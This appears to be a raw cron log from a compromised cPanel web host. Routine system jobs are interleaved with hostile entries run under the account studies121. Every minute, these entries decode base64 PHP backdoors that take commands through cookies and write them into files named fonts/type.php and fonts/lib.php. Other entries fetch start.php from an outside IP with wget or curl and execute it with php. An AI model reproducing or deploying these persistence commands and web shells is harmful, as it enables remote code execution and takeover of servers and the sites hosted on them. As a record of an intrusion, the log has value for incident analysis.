Feb 22 07:01:01 ip-184-168-122-23 CROND[23519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:01:01 ip-184-168-122-23 CROND[23520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23529]: finished 0anacron
Feb 22 07:02:01 ip-184-168-122-23 CROND[23832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:02:01 ip-184-168-122-23 CROND[23833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:02:01 ip-184-168-122-23 CROND[23835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:02:01 ip-184-168-122-23 CROND[23836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:02:01 ip-184-168-122-23 CROND[23837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:03:01 ip-184-168-122-23 CROND[24153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:03:01 ip-184-168-122-23 CROND[24155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:03:01 ip-184-168-122-23 CROND[24157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:03:01 ip-184-168-122-23 CROND[24158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:04:01 ip-184-168-122-23 CROND[24465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:04:01 ip-184-168-122-23 CROND[24469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:04:01 ip-184-168-122-23 CROND[24468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:04:01 ip-184-168-122-23 CROND[24470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:04:01 ip-184-168-122-23 CROND[24467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:05:02 ip-184-168-122-23 CROND[24873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:05:02 ip-184-168-122-23 CROND[24874]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 07:05:02 ip-184-168-122-23 CROND[24876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:05:02 ip-184-168-122-23 CROND[24878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:05:02 ip-184-168-122-23 CROND[24881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:05:02 ip-184-168-122-23 CROND[24882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:05:02 ip-184-168-122-23 CROND[24885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:06:01 ip-184-168-122-23 CROND[25204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:06:01 ip-184-168-122-23 CROND[25208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:06:01 ip-184-168-122-23 CROND[25209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:06:01 ip-184-168-122-23 CROND[25206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:06:01 ip-184-168-122-23 CROND[25207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:07:01 ip-184-168-122-23 CROND[25520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:07:01 ip-184-168-122-23 CROND[25522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:07:01 ip-184-168-122-23 CROND[25525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:07:01 ip-184-168-122-23 CROND[25523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:08:01 ip-184-168-122-23 CROND[25870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:08:01 ip-184-168-122-23 CROND[25871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:08:01 ip-184-168-122-23 CROND[25875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:08:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:08:01 ip-184-168-122-23 CROND[25874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:09:01 ip-184-168-122-23 CROND[26198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:09:01 ip-184-168-122-23 CROND[26197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:09:01 ip-184-168-122-23 CROND[26200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:09:01 ip-184-168-122-23 CROND[26202]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 07:09:01 ip-184-168-122-23 CROND[26201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:10:01 ip-184-168-122-23 CROND[26536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 07:10:01 ip-184-168-122-23 CROND[26537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:10:01 ip-184-168-122-23 CROND[26541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:10:01 ip-184-168-122-23 CROND[26542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:10:01 ip-184-168-122-23 CROND[26543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:10:01 ip-184-168-122-23 CROND[26545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:10:01 ip-184-168-122-23 CROND[26547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:10:01 ip-184-168-122-23 CROND[26551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:11:01 ip-184-168-122-23 CROND[26963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:11:01 ip-184-168-122-23 CROND[26964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:11:01 ip-184-168-122-23 CROND[26967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:11:01 ip-184-168-122-23 CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:12:01 ip-184-168-122-23 CROND[27284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:12:01 ip-184-168-122-23 CROND[27285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:12:01 ip-184-168-122-23 CROND[27288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:12:01 ip-184-168-122-23 CROND[27289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:12:01 ip-184-168-122-23 CROND[27291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:13:01 ip-184-168-122-23 CROND[27594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:13:01 ip-184-168-122-23 CROND[27597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:13:01 ip-184-168-122-23 CROND[27598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
